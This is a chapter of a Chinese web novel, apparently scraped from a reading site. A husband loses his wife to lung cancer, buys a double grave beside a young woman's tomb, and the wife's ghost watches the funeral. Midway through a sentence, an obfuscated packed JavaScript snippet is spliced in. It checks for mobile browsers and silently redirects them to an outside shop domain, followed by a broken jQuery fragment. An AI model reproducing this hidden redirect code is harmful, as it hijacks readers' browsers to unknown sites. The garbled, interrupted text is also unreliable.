一座城市，千万人口，治愈冰冷生活的良药，是冷夜里亮着暖黄灯光的那扇窗。唯独它有别于外面人情社会的严寒冷酷。
十二年前的秋天。
刚搬进花园小区槐水苑新房子，好生活不到一年，黄素琴在单位的体检中查出肺上有一个阴影，医院通知她需要进一步检查。
医院的确诊通知是在第二天下午，丈夫刘孜下班，陪黄素琴一道上医院去拿。
两人都没太听清对面的医生具体说了什么。
细胞啊，肿瘤啊，早期中期晚期，手术啊，化疗啊……什么什么的，刘孜和黄素琴的注意力全部被确诊通知书上“肺癌”两个字夺走。
脑袋里顿时筑起一个蜂巢，成千上万只蜜蜂在里面昼夜不歇地飞舞。
黄素琴说：“医生，我怎么可能得肺癌，我从来不抽烟，一点不良嗜好都没有。”
医生说：“抽烟的人不一定会得肺癌，不抽烟的人也不是说就不会得肺癌。致病的原因有很多，有些是基因里先天带来的。你想想，在你的家族里面，有没有患癌去世的人？”
“这……”
黄素琴和刘孜对视，刘孜回神。
黄素琴说：“我妈妈那边是有一个妹妹死于癌症，肝癌，很年轻就去世了。可是我爸妈没有这方面的问题。”
医生说：“基因的事情，现在医学也有许多说不清楚的地方。有些人虽然携带患病的基因，由于后天诸如环境、人的心情等因素，一辈子不会发病的也大有人在。”
黄素琴比较不幸，她或许自身携带患病基因，又或许是后天所致。
总之，她切切实实地生病了，还不轻。
医生开单让黄素琴今天先去抽血化验，明后天做其他检查，以便他们可以进行更详尽的病理。
黄素琴坐在医院走廊的塑料椅上，压住胳膊上的棉签，兀自出神。
直到刘孜走来。
“交完费了？”
“嗯。”
没有出血，黄素琴扔掉棉签，说：“走吧，还要接文雁。”
女儿五岁，上幼儿园中班，还有一年半，才上小学。
一年半，有孩子的人不过是眨眼的功夫。
小孩子高速成长的阶段，一天一个模样，如同田间的小麦苗，蹭蹭蹭地拔高，抱住大腿的孩子，不知不觉已经是齐腰的个子了。
黄素琴从没担心过时间。
她把这些话告诉刘孜，刘孜握住妻子的手。
“医生不也说了，配合治疗会好的。”
黄素琴恬静地笑，拍了拍刘孜的手。
秋天到冬天，刘孜黄素琴一家频繁出入医院。
医生建议，黄素琴年纪还轻，可以接受化疗。
化疗使黄素琴的头发掉得比秋天的树叶还快。
挨不到新年，还算黑亮的齐肩发只剩下稀稀拉拉的一小把，这里一搓，那里一搓，黄素琴嫌难看，叫刘孜那剃头推子给她剃光，戴上了帽子。
那天，刘孜打开保温桶，盛汤，黄素琴坐在印有医院红色标识的白色病床上。
接过冒着白色热气汤碗，黄素琴说出让刘孜嘴唇颤抖的话。
“帮我把墓地选上吧。”
黄素琴吹凉一勺热汤，化疗让她食欲不振，一勺汤要分作好几次喝下去。
刘孜借盖上保温桶盖子的时间，平息情绪，他不敢看现在的黄素琴，她眼中有一种随时赴死的坦然。
“好，你喜欢什么地方的景色？”
黄素琴想了想，说：“开阔一些的吧。对了，最好要周围已经有人的，我不想太孤单。”
刘孜说好。
刘孜父母年事已高，不想麻烦子女，自己提前把百年后的长眠地找好，让刘孜他们去看过，是个绿水青山，环境宜人的地方。
两老买的是一块双人墓，一块碑上刻两个人的名字，放两个人的照片，墓穴里两个骨灰盒。
刘孜觉得很好，他们也可以买一块这样的双人墓地。
下一刻，黄素琴依旧轻声细语地说：“买单人的，不要双人的。”
刘孜温柔了半辈子，没和什么人动过气。
黄素琴也是柔和性子。
恋爱结婚至今，孩子都那么大了，两人口角都很少发生。
“为什么？”
“刘孜，你才三十出头，日子还长。”
黄素琴的话没有说完，刘孜却懂了。
刘孜头一次觉得脾气太好，也不是什么好事，他多想愤怒地走掉，以此向黄素琴表示自己对她的话是多么地不满伤心。
可是，刘孜只是沉默，没有拒绝，也没有答应。
只是临走时，给黄素琴盖被子，他说：“文雁只会有一个妈妈。”
黄素琴在刘孜走后痛哭出声。
刘孜上山看墓地的那天，是年底的最后一场雪。
买墓地的人按照刘孜的要求，找了一块背靠森林，视野开阔的双人墓地。
这点上，刘孜没有听黄素琴的。
站在还未刻字的黑石墓碑前，可以眺望到下面的景色，墓群一排接着一排地向山麓展开下去，竖起的坚硬石碑，是镶嵌在大山口腔中整齐的齿列。
它们面朝一个方向，据说是经过风水师勘算，如同笔直站立的士兵，庄严、肃穆，而又寂寥。
买墓地的人说：“这块墓地只有右边的位置空着，但是已经卖给了一对老夫妻，上下左都住满了。”
“住”字不过是比“埋”好听体面一点的字眼，背后都是一条生命真实的死亡。
刘孜看一圈，落在左边的墓地上，是一块单人墓地。
墓碑上黑白照片的主人容貌清丽，浅浅地露出一个愉悦的笑容。
青春的面庞，说明照相时面对镜头的微笑，不是为了将来有一日用在遗像上的。
墓碑上刻着姓名——吴佳宜——和生卒年月日。
竟然是十年前了。
算一算，如果还活着，和刘孜差不多年龄。
死于盛年。
刘孜想到了妻子黄素琴，叹息地说：“太可惜了。”
买墓地的人也随声附和：“是啊，太可惜了。”
他并不懂得刘孜内心的哀伤，可做这一行，不管在什么情况下，都不会流露喜悦的心情，严肃着一张脸，即便不能共情，也是对逝者的一份尊重。
细碎的雪花降落在墓碑前空空的祭台上。
买墓地的人告诉刘孜，墓地有专人打理，住在下面的一排平房，供过的花果开始枯萎后会有人前来收走。
刘孜下山办理买卖手续。
第二次来，是要往墓碑上刻字。
姓名、生日、亲属刻好没有涂红，刻完的光面石碑蒙上一层薄灰，刘孜蹲下用纸巾擦干净。
起身时，发现左边墓碑积了灰，黑白相片比上回下雪时模糊。
左边墓地的主人，她的父母如果和刘孜父母差不多年纪生小孩，十年后，垂垂老矣，应该不能常来郊外山上的墓地祭奠女儿，为她扫墓了吧。
墓地人迹罕至，风吹日晒，工作人员顾不上一块墓碑上的一张照片有没有落灰，也可以理解。
刘孜掏出收起的纸巾，将灰擦去，让遗像重见天日。
“这里风景好，看不见有点可惜了。”
收拾好，刘孜准备开车赶往医院，在结束探视前再看看黄素琴，问她明天想吃点什么，女儿暂时送到爷爷奶奶家代管。
刘孜下山，黑白遗像上微笑目视前方女人，眼睛动了动。
除夕，黄素琴的治疗初见疗效，可以回家过年。
黄素琴父母，刘孜父母，加上刘孜一家三口在花园小区的房子里过新年。
黄素琴手脚浮肿，不能久坐，除了吃年夜饭，其他时候都必须躺着，她不愿意孤零零一个在卧室里听外面的烟花爆竹声，到客厅沙发上和大家一起看春晚。
两家老人背地里商量，素琴的病还要继续治疗，孩子轮流照看，都是年近六十的老人，彼此减轻负担。
过完年，黄素琴回医院，不到一个星期，病情恶化，医院下了第一封病危通知书。
刘孜抱着女儿坐在抢救室外。
明明新年欢腾的气氛还没过去，街上的红灯笼、平安结、彩灯、福字还在，不祥的死亡却悄然降临在这个普通幸福的三口之家。
黄素琴抢救回来后，面临的是更加痛苦的治疗。
化疗进入到下一个阶段，她剃光头没头发掉，便掉眉毛、眼睫毛，身上骨头关节钻心的痛，肠胃功能紊乱，反胃酸。
黄素琴要刘孜常常带女儿来医院给她看。
她说：“看一眼，少一眼。”
“你不要乱说话。”刘孜斥责她，语气还是温和的。
黄素琴没力气撑起脸上的肌肉，无力地笑着说：“你啊，一辈子说不了一句重话，骂人也没力气。不过，也好，以后不会给女方委屈受。”
刘孜不接话。
每每说到以后，他就不接话，让黄素琴说不下去。
黄素琴父母来看她的时候，黄父黄母见到病床上不成人样的女儿，说不到两句眼泪就流下来。
“好好的一个人，怎么就生病了呢。”
黄父黄母想不通。
黄母握着黄素琴的手，说：“素琴，你少说些让刘孜再找一个的话，你明知道他不喜欢听你讲这些。再说，没你这样的，撺掇自己老公找下家。”
黄素琴却说，她不怕刘孜在她去世后另娶，反正她也闭眼了什么也不知道，她只怕刘孜会一直念着她，让女儿从小没有妈妈。
“妈，我还怕刘孜给文雁找的新妈妈，对她不好怎么办？”
黄母边哭边摇手中黄素琴的手。
“不要说了，不要说了，你存心让我们都不好过是不是。”
黄素琴流着泪，其实家里有一个重病的人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17798719|209378||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，谁的心里都不好过。
医生说黄素琴肺上的癌细胞在扩散，药物、化疗没有起作用。
每天刘孜下班，到幼儿园去接放学的女儿，带去医院给黄素琴看。
女儿热乎乎，嫩嫩的小手放在黄素琴枯槁的脸上，她便浮现出心满意足的笑容。
“妈妈，你什么时候回家？”
“不喜欢住爷爷奶奶家和外公外婆家？”
女儿点头，又摇头。
“我还是更喜欢我们的家。”
“那妈妈赶快好起来，接你回家。”
刘孜接水回来，让女儿不要让黄素琴说太多话，消耗体力。
刘孜故意吓她：“话太多影响病房里其他病人休息，医生不准你到医院来看妈妈。”
女儿捂住嘴，说：“我不说话了，我安静地陪着妈妈。”
此时，黄素琴虽然面容上变化很大，不复从前的健康，还不到面目全非的地步。
到后期，黄素琴需要插管，经历一轮又一轮的化疗，能一眼认出她的，除了天天陪护探望的刘孜，就连双方父母每见一次，总觉得比上一次又丧失了些熟悉。
有一次，刘孜接女儿放学，照常到医院来看黄素琴，正遇上黄素琴拔管。
在走廊上便听到她撕心裂肺的声音。
刘孜和女儿在病房外的椅子上，刘孜抱着女儿。
病床上黄素琴挣扎嚎叫，最后痛到脱离地歪倒在枕头上的样子，刘孜久久不能忘怀。
医生护士离开后，刘孜牵女儿走进去。
黄素琴听见他们来了，勉强撑开一条缝。
她干渴的嘴嗫喏着什么。
走近一听。
她在说：“我好痛苦，让我死吧。”
漫长无望的治疗伴随非人的剧痛，消磨黄素琴的意志。
这不是她第一次想要放弃，却是刘孜第一次在这句话的背后，听到了丧钟响鸣。
接下来的一周，病危通知书像雪片一样向刘孜飞来。
等不到春天，黄素琴器官衰竭，在抢救台上停止呼吸，此时癌细胞已经扩散到全身，神仙也就不回。
抢救室外，医生宣布病人死亡，刘、黄两家哭成一片，医生摘下口罩，对站不稳的刘孜说了一声抱歉。
按照本地风俗，丧事紧锣密鼓地筹备起来。
黄素琴的病不是一天两天，不断地在恶化，除非发生医学奇迹，不然那一天早晚要到来。
墓地是早就准备好的，遗照选了黄素琴生前买了还来不及穿的一条连衣裙。
连衣裙是黄素琴检查出癌症前买的，大小已经不适合现在的她。
丧事持续三天，第三天清晨天不亮，拖棺到火葬场火化。
火化前有一步是要家属确认遗体。
拉开白布的一刹那，年迈的黄家两老哭倒在亲戚的怀中，刘家父母痛丧儿媳，哭黄素琴去得太早太痛苦，哭儿子没了老婆，哭孙女没了妈妈，推孙女去给妈妈磕最后一个头。
刘孜抱住黄素琴的遗体，亲戚朋友劝他放手，黄素琴没了，他还有女儿要照顾，他这样不管不顾的样子，把女儿吓坏了。
火化炉是个吞人的大箱子，肉做的进去，出来只剩白骨。
不到六十分钟，打开铁门让一位家属进去捡骨。
刘孜不愿面对妻子离世的事实，是黄素琴父亲，刘孜的岳父亲手帮女儿捡的骨。
一米六几的人，成一对碎骨装在小匣子里，送到山上墓地下葬。
墓碑上黄素琴遗像下刻成了红字，没有上色的一边，是刘孜的名字。
人们陆续祭奠完，要下山到预定好的酒店吃丧酒，两家老人去招呼客人。
刘孜和女儿留在墓前，迟迟不肯离去。
女儿用小手一下又一下地抚摸照片上的妈妈，哭喊着要她回来。
刘孜蹲下，捂住眼睛，恨自己的无能为力，也恨自己的懦弱。
在这个时候，竟然无法撑起做父亲的责任，连一句安慰年幼女儿的话都说不出口。
刘孜抹一把脸，通红的眼眶，疲惫的神色。
他抱起女儿，对黄泉之下的黄素琴说：“素琴，你放心，我会照顾我们的女儿，你放心地去，忘了那些痛苦。”
刘孜看不见的地方，医院、灵堂、火化场到墓地，一路上跟在他和女儿身边，一步不曾离去的黄素琴的鬼魂，在他旁边注视着他和孩子。
黄素琴扬起如释重负的笑容，听到刘孜的话，她终于可以离开了。
她知道刘孜听不到，她还是说：“不要忘了你自己，好好照顾自己。”
这是她生前来不及嘱托的。
说完，她觉得没有什么遗憾了。
前方出现一个黑洞，那是通向另一个世界的入口。
黄素琴正要走向那黑色洞口，一个声音叫住她。
“你就这么走了吗？”
“你怎么舍得？”